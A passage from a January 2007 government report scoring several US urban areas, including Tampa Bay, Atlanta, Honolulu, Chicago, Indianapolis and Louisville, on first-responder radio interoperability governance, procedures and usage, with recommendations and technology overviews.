Initiative/SERDSTF has well-established SOPs dating back to the aftermath of Hurricane Andrew in 1992.
10%
10%15%
15%
Urban/Metropolitan Area
A-27
January 2007
Tactical Interoperable Communications Scorecards
These SOPs have been successfully integrated into the TICP, with Miami taking the step of designing the
TICP as an annex to its Terrorism Response Plan. The area has disseminated these policies to all
participating agencies and to conduct regular interoperability training. The National Incident Management
System (NIMS)/Incident Command System (ICS) was implemented more than 1 year ago and is integrated
into regional SOPs. The UA demonstrated proficiency in these areas through its TICP validation exercise.
For example, the Incident Commander established a unified command consisting of fire, emergency medical
services, and law enforcement personnel. Additionally, the Communications Unit Leader was designated
and announced to participants.
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Miami UA has demonstrated cooperation and the ability to work across all levels of government and all
types of public safety responders. The City of Miami and Miami-Dade County interoperate on a daily basis
via shared channels, gateways, and shared systems despite using disparate systems. In addition, state and
federal agencies are regularly supported through the use of radio caches and/or gateways. The use of
regional equipment by local, state, and federal agencies in the TICP validation exercise was described by the
evaluators as “exemplary” (e.g., specific instructions were distributed with the radio caches, gateways and
the Miami City shared system were effectively used).
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Miami UA has many agencies operating on trunked 800 megahertz (MHz) radio systems. These systems include
both M/A-COM and Motorola proprietary products that do not directly support interoperability. The state is building
out mutual aid channels in the ultra high frequency and 800 MHz bands. The state has implemented a Voice over
Internet Protocol solution connecting nearly all public safety answering points. Miami-Dade County has started a
process to migrate to a Project 25-compliant radio system. This will give the surrounding counties (Broward, Monroe,
and Palm Beach) an opportunity to improve interoperability. In addition, all four counties are planning on establishing
common talk groups/interoperability channels in each radio that is capable of communicating with the neighboring
counties.
Urban/Metropolitan Area
A-28
January 2007
Tactical Interoperable Communications Scorecards
Tampa Bay, FL
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The Tampa Bay Urban Area (UA) includes Hillsborough and Pinellas counties and the cities of Tampa, St.
Petersburg, and Clearwater.
Governance: Established Implementation
15%
20%
20%
20%
The Tampa Bay UA, led by the recommendations of its communications governance group, has increasingly
considered communications interoperability a priority. Since 2003, the regional communications working
group has been integrated within the Regional Domestic Security Task Force (RDSTF)—Region 4. While
the group has been successful in focusing local leaders on the issue of communications interoperability, it
was not clear whether the RDSTF structure provides the working group with enough formal authority and
responsibility (outside of Department of Homeland Security grant decisions) to be effective in activities such
as recruitment of state and federal representatives, development of formal agreements, and establishment of
strategic plans. Published agreements exist to facilitate interoperability among some agencies. A strategic
planning process is in place, but no regionally agreed-upon document has been produced and published to
address present and future strategic interoperability efforts or to consider long-term funding strategies that
address operating costs and funding sources in addition to grant funds.
Recommendations:
•
Continue to practice on the established agreements (e.g., memoranda of understanding) to facilitate
communications interoperability among first responder agencies
•
Continue the regional strategic planning process and obtain acceptance from all participants
•
Encourage a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding
sources (in addition to grants)
•
Continue to broaden and champion a governance structure that would more fully support regional
communications interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Tampa Bay UA has integrated formal and informal SOPs for most aspects of its interoperable
communications into its Tactical Interoperable Communications Plan (TICP). The TICP represents the first
set of regional interoperability SOPs and has been embraced by the area. The TICP is being regularly
updated and disseminated to all agencies. Adherence to the Florida Interoperability Network (FIN) policies
were an area of difficulty during the TICP validation exercise, perhaps because FIN policies are new and had
not been added to the TICP nor practiced by participating agencies. Tampa Bay officials report that they are
in the process of implementing the National Incident Management System (NIMS)/Incident Command
System (ICS) through training. NIMS principles appear to have been integrated into fire operations, but less
so within the area’s law enforcement community. Additionally, the exercise evaluators noted that
establishing unified command among incident commands was an issue, which limited the effectiveness of the
Communications Unit Leader in managing the two incident sites.
Recommendations:
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-29
January 2007
Tactical Interoperable Communications Scorecards
•
Continue to train, exercise, and review SOPs on a regular basis to increase consistency and proficiency
across participating agencies
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Multi-agency communications occur daily in the Tampa Bay UA on its two major shared 800 megahertz
(MHz) systems, and console patches are regularly used to connect the City of Tampa Police Department’s
disparate system. The Tampa Bay UA adequately demonstrated the ability to interoperate during what
evaluators noted was a complex exercise. For example, gateways were effectively used at one of the exercise
sites, but at the other site, participants had trouble connecting the gateway to FIN and a required tactical
channel was not found on one of the consoles. As noted in the post-exercise Improvement Plan, additional
training on the use of fixed gateways (specifically the newly implemented FIN) could be pursued to address
identified gaps (e.g., difficulty establishing communications and in using the FIN for communications).
Additionally, the reliance on commercial services for mission-critical communication was outside the scope
of documented procedures.
Recommendations:
•
Continue to train and exercise on available technology (e.g., gateways) to improve familiarity with and
use of their interoperable communications capability
•
Consider developing policy on use and limitations of commercial services (e.g., cellular telephones)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Tampa Bay UA, designated as the RDSTF—Region 4 by the state, has many agencies operating on trunked, 800
MHz systems. These include both M/A-COM and Motorola systems that do not directly provide for interoperability.
Additionally, distant counties rely on ultra high frequencies (UHF), both simplex and trunked, for their primary
communications. The state is building out mutual aid channels in UHF and 800 MHz bands and has implemented a
Voice over Internet Protocol solution connecting nearly all public safety answering points.
The Tampa Police Department has initiated a process to migrate to a Project 25-compliant system. This will give the
surrounding counties an opportunity to improve interoperability. Tampa Bay also applied for a United States
Department of Justice Community Oriented Policing Services grant. Although the application was rejected, officials are
planning to resubmit. Furthermore, a mobile 10-channel, 800 MHz trunked Motorola system in Pinellas County is also
available to the UA. It has been extensively used in past years to support response and recovery operations for local and
out-of-area hurricane damage.
Urban/Metropolitan Area
A-30
January 2007
Tactical Interoperable Communications Scorecards
Atlanta, GA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Advanced Implementation
The Atlanta Urban Area (UA) includes the City of Atlanta, Cobb County, Fulton County, and Dekalb
County. Also participating in the UA are the Georgia Technology Authority and the Georgia Emergency
Management Agency, state agencies that are providing procurement and oversight support. Six counties,
including Douglas, Henry, Gwinnett, Clayton, Fayette, and Rockdale, will eventually be added to the plan.
Governance: Intermediate Implementation
10%
10%15%
15%
Communications interoperability issues in the Atlanta UA are governed by a Steering Committee consisting
of representatives of the core jurisdictions of the City of Atlanta, Dekalb, and Fulton counties. The Steering
Committee accepts recommendations directly from the All Hazards Council Area 7 Communications
Subcommittee. This subcommittee has become more active in communications interoperability due to its
involvement with the development of the Tactical Interoperable Communications Plan (TICP). While the
subcommittee has a broad list of participating agencies, it is not clear whether this group of state, federal, and
support organizations are included as officials subcommittee members. There are published and active
agreements in place that facilitate communications interoperability with some agencies in the UA (e.g.,
mutual aid agreement in place among Cobb, Fulton, Georgia State Patrol, and City of Atlanta). In addition,
the documentation provided indicates that the Atlanta UA is developing an interoperable communications
strategy that would build upon the broad goals set forth in the Urban Area Homeland Security Strategic Plan,
which was the basis for the TICP development. Once developed, the strategic plan will address
interoperability beyond the operational focus of the TICP and the broader scope of the Urban Area
Homeland Security Strategic Plan. It appears that current funding decisions are based on individual agency
needs as opposed to regional priorities, which limits coordinated planning to meet longer term
interoperability goals. The Atlanta UA leadership has been involved in the TICP process. For example, two
city Mayors are involved in the All Hazards Council Area 7/UA Working Group.
Recommendations:
•
Encourage public support, state, and federal agency participation (e.g., utilities) in the decision-making
group and define roles and responsibilities
•
Establish processes to develop and review agreements (e.g., usage agreements, memoranda of
understanding) at least every 3 to 5 years and after significant events or upgrades
•
Document and implement the regional strategic plan (beyond the operational focus of the TICP), with
participant approval, adoption, and acceptance
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Incorporate a regional interoperability funding strategy into the strategic plan, such as considering
funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning
efforts
•
Continue to broaden and champion a governance structure that would more fully support regional
communications interoperability
•
Given the area’s progress to date, motivate broader acceptance of interoperability as both a political and
fiscal priority for the area and state
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-31
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Atlanta UA TICP was built on existing SOPs, including regional SOPs developed through the
Department of Justice 25 Cities Project. The UA has taken numerous steps to disseminate the TICP to all
participating agencies (e.g., distribute to dispatch centers and through TICP Implementation Workshop,
available with gateways). The Atlanta UA has also already updated the plan since its submittal, including a
newly implemented Project 25 (P25) system. Use of these communications interoperability SOPs were
successfully demonstrated during the TICP validation exercise. The Atlanta UA has been implementing the
National Incident Management System (NIMS)/Incident Command System (ICS) within the last year.
Although the TICP validation exercise showed that both law and fire commanders were proficient in NIMS,
it was noted in the After Action Report that law enforcement needs additional command and control training.
It was notable that the Communications Unit Leader (COML) showed “extensive knowledge of his
equipment and ways to create interoperable communications.”
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Atlanta UA has 26 separate radio systems that provide communications to first responder and support
agencies. Despite this diverse infrastructure, the UA has been successful in using interoperable
communications assets in its TICP validation exercise and real-world responses. Shared systems are used
daily to provide multi-agency communications. The City of Atlanta and Fulton County operate separate 800
megahertz (MHz) infrastructure but share system keys. The Atlanta mobile gateway used in the exercise was
pre-programmed, which evaluators noted as a best practice. Shared channels in the UA are reserved for
situations requiring the coordination of multiple public safety agencies and were successfully used during the
TICP validation exercise. The exercise included state and federal agencies—when the Federal Bureau of
Investigation’s equipment failed, the Atlanta UA provided the Bureau with a cached radio to support
communications.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Atlanta UA has 26 separate radio systems that cover 9 counties, which is inclusive of the metropolitan Atlanta area.
The UA also relies on NEXTEL and SouthernLINC Enhanced Special Mobile Radio commercial systems to support
wireless voice and data communications. The City of Atlanta and Fulton County operate separate 800 MHz radio
systems but share system keys enabling access by city and county representatives. Atlanta operates a Motorola 800
MHz SMARTNET™ Citywide Radio System supporting 18 separate local, state, and federal agencies. Regional
interoperability is provided by the Motorola P25-compliant, 800 MHz ASTRO 25 system. The system is used
exclusively to support interoperability among regional first responders. The Atlanta UA is reaching beyond its
immediate jurisdictional footprint to embrace all nine counties that make up the metropolitan Atlanta All Hazard Fulton
County Emergency Services (Area 7) Council footprint. It is the intent of UA planners to leverage the new systems and
the current UA P25, Motorola ASTRO 25 800 MHz system to form the most effective interoperable communication
strategy. This may include connecting new systems to the UA switch or leveraging/implementing other technology
solutions to achieve regional interoperable communications.
Urban/Metropolitan Area
A-32
January 2007
Tactical Interoperable Communications Scorecards
Honolulu, HI
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Honolulu Urban Area (UA) includes the city and county of Honolulu, which encompasses the island of
Oahu.
Governance: Intermediate Implementation
10%
10%15%
15%
The Public Safety Oversight Committee (PSOC), established in 2002, provides governance on
communications issues. The PSOC has become more formalized with an established charter in the last year
and a half as a result of the Tactical Interoperable Communications Plan (TICP) mandate, and most agencies
are now participating in the process. The UA has informal agreements in practice that facilitate
communications interoperability. A memoranda of agreement has been drafted for first responders, and all
participating agencies have agreed to sign the agreement except for Honolulu law enforcement.
Additionally, regional memoranda of agreements (including an agreement with State Health) remain
informal. The Honolulu UA has not developed a regional interoperability strategic plan, but is in the process
of developing a plan. Local leaders have taken rapid steps to improve their interoperability through a series
of communications tabletops. Although funding is still largely distributed for agency needs, Honolulu’s
long-term planning through the 5-year capital plan and the fiscal coordination laid out in the TICP have set
the stage for regionally coordinated improvements.
Recommendations:
•
Work with the State Department of Health to establish an interoperability agreement with City of
Honolulu for emergency medical services
•
Clarify that published and active agreements (e.g., memoranda of understanding) are in place among all
necessary first responders and work to get any needed agreements implemented
•
Continue to develop the strategic plan that has already been initiated
•
Attempt to align local and state strategic planning efforts to ensure that a regional strategy has been
established; also apply this regional approach to long-term (e.g., 3 to 5 years) interoperability funding
and planning
•
Establish interoperability SOPs and associated training as a priority across the area
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Honolulu UA achieved its first regionwide communications SOPs through the development of the TICP.
The UA did not have policies and procedures in place before the development of the TICP. The new plan
has been distributed to all agencies (e.g., distributed to dispatch centers and through TICP Implementation
Workshop, available with gateways) and has been exercised. Officials indicated that they plan to build on
this collaborative TICP effort to address communications with the surrounding islands. The National
Incident Management System (NIMS)/Incident Command System (ICS) was mandated more than 1 year ago
through the adoption of a city resolution, and training is being implemented to fully familiarize all personnel.
Although the TICP validation exercise demonstrated difficulty in establishing unified command (e.g., there
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-33
January 2007
Tactical Interoperable Communications Scorecards
was a lack of clear delineation of roles and responsibilities within the ICS organizational chart), the UA has
taken adequate steps to integrate the Communications Unit Leader position into a multi-agency response.
Recommendations:
•
Incorporate TICP policies, practices, and procedures into regionwide public safety training curriculum
•
Incorporate After Action Report changes and post-exercise Improvement Plan recommendations into the
existing TICP
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20% 20%
Through the cooperation fostered by the TICP process, the Honolulu UA has increasingly used interoperable
communications solutions (e.g., radio cache, shared channels, gateways, shared systems). Honolulu Police
and Fire now operate on a shared system and have implemented shared talk groups that are frequently used.
The TICP validation exercise exposed some load issues with their shared system, as well as problems with
gateways critical to multi-agency communications (especially with state and federal agencies) on the island.
Despite the minor problems, local first responders were able to interoperate via City of Honolulu’s shared
system.
Recommendations:
•
Train regional communications specialists in interoperability solution capabilities (e.g., tactical use of
talk groups) to more effectively communicate during an incident
•
Increase the frequency of use of the mobile and fixed gateways available to responders
•
Seek opportunities to incorporate mobile and fixed gateways through regular tests, planned events, and
exercises
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Honolulu UA’s first responders operate on a 800 megahertz (MHz) M/A-COM Enhanced Digital Access
Communications System (EDACS™) trunked radio system. Several public safety agencies in the UA use this system,
including Honolulu Police Department, Honolulu Fire Department, Emergency Services Department, Department of
Information Technology, Oahu Civil Defense Agency, and Department of Transportation Services. However,
interoperability is needed with other shared systems, including the ultra high frequency (UHF) system that supports the
State Department of Health, hospitals, medical centers, and the U.S. Coast Guard (USCG); the UHF Pacific Mobile
Emergency Radio System (PACMERS) supporting Department of Defense (DoD) agencies; and two very high
frequency (VHF) systems supporting federal and state agencies. Interoperable communications is provided through
shared and command-level talk groups. City and state agencies also maintain five mobile and two fixed ACU-1000
gateway systems. Voice interoperability between the city and county of Honolulu (800 MHz) and state and federal
agencies (UHF and VHF High Band) is primarily provided through these gateway solutions and/or a shared VHF
channel. Interoperability between city response agencies and the USCG is provided via a gateway on a Free Space
Optic link and through a dedicated USCG talk group on the City's 800 MHz EDACS shared system. Interoperability
among PACMERS users and the city and county of Honolulu is provided through two fixed gateway solutions.
Urban/Metropolitan Area
A-34
January 2007
Tactical Interoperable Communications Scorecards
Chicago, IL
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Chicago Urban Area (UA) includes the City of Chicago and Cook County, including 128 municipalities.
Governance: Early Implementation
10%5%
5%
5%
Through the UA Working Group, the UA is starting to take steps necessary to address long-standing technical and
operational issues among public safety organizations in the Chicago UA. While interoperability is presently a top
priority in the UA and is being addressed, the area has a great deal of historical challenges to overcome. As reported in
the overview of the Tactical Interoperable Communications Plan (TICP), “[t]he City of Chicago and Cook County for
decades have been developing very extensive and expensive legacy radio communications systems independently, and
without considering the concept of interoperable communications.” Governance for communications within the
Chicago UA has been assigned to a Communications Subcommittee. The group has not been formalized and initially
was divided between a City of Chicago Working Group and a Cook County Working Group. The TICP Peer Review
recommended that the group “strongly consider merging the multiple working groups into one governance organization
or clarifying how issues of disagreement between Cook County and Chicago working groups are/will be addressed.”
Agreements are largely informal, and the city’s process for developing and confirming the agreements differs from the
process in Cook County. Efforts have begun to develop a strategic plan for the UA; however, this effort is at an early
stage and will require coordination between the city and county to be successful. A regional approach to
interoperability funding does not appear to be a priority (e.g., communications equipment is procured largely based on
agency-specific needs). Leaders within the City of Chicago and Cook County have been independently very supportive
of the communications interoperability issue (e.g., Cook County is developing a shared system supporting numerous
municipalities), but could still continue efforts to come together at the leadership level to actively pursue regionwide
communications interoperability.
Recommendations:
•
Continue progress toward a unified governance structure (city and county)
•
Establish a charter for the unified working group and implement a regular meeting schedule to actively work issues
to improve regional (tactical and strategic) interoperability
•
Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to
support partnerships on regional interoperability and allocate resources to implement them
•
Establish a regular review process for agreements to ensure that they remain current and relevant
•
Develop and document a consensus regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance, and align local and state strategic planning efforts to ensure that
regional interoperability needs are met
•
Develop and implement a regional approach to long-term interoperability planning and sustainable funding (beyond
funding for individual jurisdictions and their systems)
•
Encourage regional funding alternatives and sources in addition to grants
•
Identify a champion(s) to establish a governance structure that more fully supports a regional strategic plan and
involve senior government leadership broadly across the area in interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Chicago UA has taken advantage of the TICP effort to begin a formalization process for its communications
interoperability policies, practices, and procedures for the first time. The area has taken steps to disseminate the SOPs
10%
10%15%
15%
10%
10%15%
15%
10%5%
5%
5%
Urban/Metropolitan Area
A-35
January 2007
Tactical Interoperable Communications Scorecards
through a TICP workshop, but not in any broader manner that would ensure awareness and understanding of the
procedures. This lack of awareness of SOPs was evident during the exercise (e.g., lack of familiarity with the radio
cache procedures). The UA is in the process of implementing the National Incident Management System
(NIMS)/Incident Command System (ICS), and is currently undergoing a significant training effort to take steps toward
NIMS/ICS compliance and SOP adoption. The State has certified the City as moving toward its 2006 goals for NIMS
compliance. The UA demonstrated success with ICS command and control during the TICP validation exercise with
limited problems (e.g., incorrect use of ICS forms, Communication Unit Leader procedural oversights).
Recommendations:
•
Develop regional interoperability SOPs consistent with the TICP, disseminate them throughout the UA, and train
all participating agencies
•
Identify the title and source documentation for existing SOPs in the TICP
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Intermediate Implementation
10%
10%15%
15%
To address a fragmented regional communications infrastructure in which there are insufficient communication
channels for joint operations within the City of Chicago, UA first responders use a number of methods to achieve
communications interoperability. The UA successfully demonstrated the use of cached radios, which provided effective
communications with the federal agencies (i.e., the Federal Bureau of Investigation). This interoperable solution
(through the Mutual Aid Box Alarm System) has also been used in various real world circumstances to provide
interoperability among command personnel across the City and surrounding municipalities. Chicago officials indicated
that responders often used commercial devices to communicate, for which there were no established TICP procedures,
which is problematic for establishing interoperable communications during a multi-agency incident response. During
the TICP validation exercise, gateway use was problematic. Considering that the gateway was one of two means of
interoperability between the County and the City, ineffective use of it could challenge multijurisdictional
communications. As reflected in the TICP validation exercise, the lack of available channels to share between agencies
during an incident could impact the effective management and resolution of communications. Additionally, specific
TICP usage procedures were not observed (e.g., extra charged batteries for extended radio deployment, ensuring
qualified technicians were available for on-scene support, and properly labeled radios with the owning agency and
frequency band) likely due to the limited nature (e.g., incident command level only) of the exercise.
Recommendations:
•
Test and exercise deployment of regional interoperability resources regularly to improve proficiency (e.g., mobile
gateway systems)
•
Practice multijurisdictional and multidisciplinary communications during future exercises and day-to-day activities
•
Consider reviewing current interoperable communications equipment and infrastructure to determine whether
existing systems and/or technology is sufficient to support regionwide interoperability
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Chicago uses both ultra high frequency and very high frequency (VHF) systems. Cook County uses a VHF
and 800 megahertz system. There is no existing shared system for the city and county jurisdictions. Shared channels
are available for interoperability but are not typically used. When city personnel operate in the suburbs, they use
regional shared channels, while responders coming into the city are often provided with cached radios. Chicago and
Cook County are working together to develop a plan for future radio interoperability communications for the entire
Chicago area, which will benefit both jurisdictions. By the end of 2006 the Federal Government will have a two-
channel shared radio system in place that will cover the five counties that represent the Greater Chicago Area.
Urban/Metropolitan Area
A-36
January 2007
Tactical Interoperable Communications Scorecards
Indianapolis, IN
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Indianapolis Urban Area (UA) includes the City of Indianapolis in Marion County and agencies and
jurisdictions within Hamilton County.
Governance: Intermediate Implementation
10%
10%15%
15%
The Indianapolis UA is working toward establishing communications interoperability as a priority in the UA.
The UA established the Interoperability Subcommittee in April 2005 for the development of the Tactical
Interoperable Communications Plan (TICP), as well as for overall communications coordination. While the
TICP has been a positive step in establishing the governance group, the group does not appear to be
formalized through a charter that describes its authority or the overall governance structure. However, the
UA does report that an interoperability strategic plan is in place and has been accepted by participating
agencies. Formal agreements (e.g., memoranda of understanding [MOU]) establishing roles and
responsibilities of partner agencies in the UA for interoperability are not currently established. The
jurisdictions have been successful in securing funding from federal grants as well as local sources, but there
is no long-term funding strategy in place to pay for recurring costs for interoperable solutions. Additionally,
individual organizations develop and maintain their own budgets and procure interoperable communications
equipment based on agency-specific needs.
Recommendations:
•
Establish a charter to encourage formal membership in the decision-making group (including all
necessary first responder agencies)
•
Document and formalize the necessary agreements (e.g., MOU) including local, state, and federal
agencies to support partnerships on regional interoperability, and reference all applicable agreements in
the TICP and store them in an accessible format
•
Establish and clearly distinguish the strategic plan (beyond the operational focus of the TICP), and
update it annually and after system upgrades and events that test capabilities
•
Encourage a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding
sources that address both counties in the Indianapolis UA; this funding strategy should address capital
and recurring costs
•
Establish a direct relationship between the Interoperability Subcommittee and political and fiscal leaders
at the local and state level to advocate for achieving goals outlined in the strategic plan
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The development of the TICP used the two counties’ policies and procedures as a foundation, providing the
UA’s first set of coordinated regional communications interoperability SOPs. The TICP will be expanded
and more broadly distributed during the first quarter of 2007 to include additional regions within the state.
Since its completion, the UA has taken steps (e.g., distributed through the TICP Implementation Workshop,
make gateway SOPs available with gateways) to disseminate these newly developed, regional SOPs. During
the TICP validation exercise, TICP policies and procedures for radio cache activation and deactivation were
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-37
January 2007
Tactical Interoperable Communications Scorecards
followed. However, despite the overall success of the exercise, some activation procedures were not used
(e.g., participants did not clear the shared channel before activating a console patch). The Indianapolis UA
has been implementing the National Incident Management System (NIMS)/Incident Management System
(ICS) for more than 1 year, and the Communications Unit Leader position was used effectively during the
exercise. During the exercise, the Incident Commander was clearly identified, and a command post was set
up.
Recommendations:
•
Distribute SOPs to include all participating agencies and dispatchers
•
Update the TICP to reflect regionwide operational communications procedures
•
Ensure that regional SOPs are aligned with statewide planning efforts
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Multi-agency communications within the area (specifically Hamilton and Marion counties) occur on a daily
basis. The existing systems (e.g., 800 megahertz [MHz]) use different proprietary technologies, and, as a
result, gateways are used on a regular basis and are tested weekly. These methods, as well as shared
channels and a radio cache, were used effectively during the TICP validation exercise. For example,
interoperable communications were established between Metropolitan Emergency Communications Agency
(MECA) and Hamilton County using a gateway. Although the Indianapolis UA showed success across local
agencies involved in the exercise, additional state, federal, and public support agencies were not included to
the maximum extent possible in this event; their involvement in future exercises would help demonstrate
broader interoperability across disciplines and levels of government.
Recommendations:
•
Consider expanding exercises to involve private, state, and federal agencies to ensure consistency of how
to apply interoperable communications
•
Consider adding interoperability as a component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
All public safety and public service agencies in Marion County use an 800 MHz Motorola radio system provided by the
MECA. Public safety and public service agencies in Hamilton County use an 800 MHz M/A-COM radio system
provided by Hamilton County. All agencies in Hamilton and Marion counties are interoperable with each other and use
the National Public Safety Planning Advisory Committee (NPSPAC) channels. In addition, console patches and/or
gateways will also be used for interoperability. The UA will continue to use the NPSPAC channels, console patches,
and gateways to achieve interoperability between the two counties.
Urban/Metropolitan Area
A-38
January 2007
Tactical Interoperable Communications Scorecards
Louisville, KY
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The Louisville Urban Area (UA) includes the City of Louisville; the Kentucky counties of Bullitt, Hardin,
Henry, Jefferson, Meade, Nelson, Oldham, Shelby, Spencer, and Trimble; and the Indiana counties of Clark,
Floyd, Harrison, and Washington.
Governance: Established Implementation
15%
20%
20% 20%
The Louisville UA’s governance group is the Communications Committee (within the Urban Area Working
Group), which has been active and successful primarily in the development of its regional gateway system.
The success of this group has been evident in the grant and local funding that has been devoted to the
MetroSafe effort. With the development of the Tactical Interoperable Communications Plan (TICP), the
group formalized its preexisting agreements and SOPs by establishing charters. The work of the governance
group, both in its tactical and strategic planning efforts, appears heavily focused on the core city/county, but
did not incorporate all counties included in the UA. At the state level, the Kentucky Wireless
Interoperability Executive Committee was established to coordinate and make recommendations regarding
policy, training, exercises, compliance, establishment of special committees, and operational issues within
the Commonwealth.
Recommendations:
•
Clarify whether published and active partnerships exist for all counties (i.e., Washington County)
•
Work to develop a regional strategic plan that has political and financial support throughout the area
•
Coordinate with all necessary participants across the area and work jointly toward development of
interoperable communications capabilities consistent with the regional strategic plan
•
Review and champion a governance structure that would more fully support a regional strategic plan
encompassing the entire UA
•
Expand leadership participation to include representation across the area
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Agencies in the Louisville UA have had communications interoperability policies and procedures in place for
a number of years. Prior to the TICP, these SOPs were captured in a compilation document. Since the
development of regional SOPs through the TICP, the UA has taken a number of steps to disseminate this
information to all agencies (e.g., gateways SOPs available with gateways, distributed through TICP
Implementation Workshop). The UA has been implementing National Incident Management System
(NIMS)/Incident Command System (ICS) for more than 1 year, which indicates that the agencies have spent
some time aligning their prior command and control procedures to be NIMS compliant. Agencies
participating in the TICP validation exercise used the NIMS/ICS and the Communications Unit Leader
(COML) with some issues (e.g., the COML was not formally identified) that should be addressed as
additional training becomes available. These gaps in SOP implementation are likely due to the fact that the
exercise (“Thunder Over Louisville”) represented the first time the entire NIMS/ICS was used across all first
responder agencies.
15%
20%
20%
20%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-39
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Ensure all regional communications interoperability SOPs are incorporated into the TICP and distributed
to participating agencies (outside of Jefferson County)
•
Regularly practice SOPs to increase proficiency in use of these policies (e.g., minimize use of patched
channels to maximize channel resources by maintaining a clear command and control structure)
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Louisville UA has been successful in the use of its gateway system to provide multi-agency and
multijurisdictional communications in the Louisville/Jefferson County area. This solution has allowed the
UA to provide shared communications across multiple existing systems and frequency bands. The
documentation did not note to what extent this system is currently providing interoperability to the UA
(including the four Indiana counties), and if it is not, how communications interoperability is achieved. This
concern about regular usage with these counties was reinforced by the lack of representation from these
counties in the TICP validation exercise (e.g., Jefferson County was the only county included). The exercise
showed difficulty using shared channels and radios caches. In addition, there are concerns (similar to both
the TICP Peer Review recommendations and the exercise evaluator comments) that the UA relied too heavily
on the gateway system.
Recommendations:
•
Test and exercise the activation procedures for radio caches
•
Because previous reviews noted concern in potential overloading of channels connected by fixed
gateway system, ensure that only priority staff use the fixed gateway solution in situations where there is
potential for overloading
•
Begin planning for training and exercise plans for forthcoming standards-based shared system
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Agencies within Jefferson County (Louisville UA) use a mixture of very high frequency (VHF) low band, VHF High
Band, ultra high frequency (UHF) and 800 megahertz (MHz) conventional radio systems. Metrosafe, Louisville's
designation for radio communications interoperability, uses an audio bridge (Motorola MotoBridge™) to patch together
most urban police and fire agencies with suburban police and fire agencies.
Louisville Metrosafe is continuing the development of a radio infrastructure with the capacity to provide seamless
communications interoperability for multiple public safety and public service organizations within Jefferson County and
its surrounding UA. The technology that has been chosen will be Project 25-compliant in a trunked, simulcast,
narrowband configured, 700/800 MHz radio system. The goal is to cover Jefferson County and an area 3 miles beyond
the county line with signal coverage capable of supporting handheld radios carried at the hip-level. This new radio
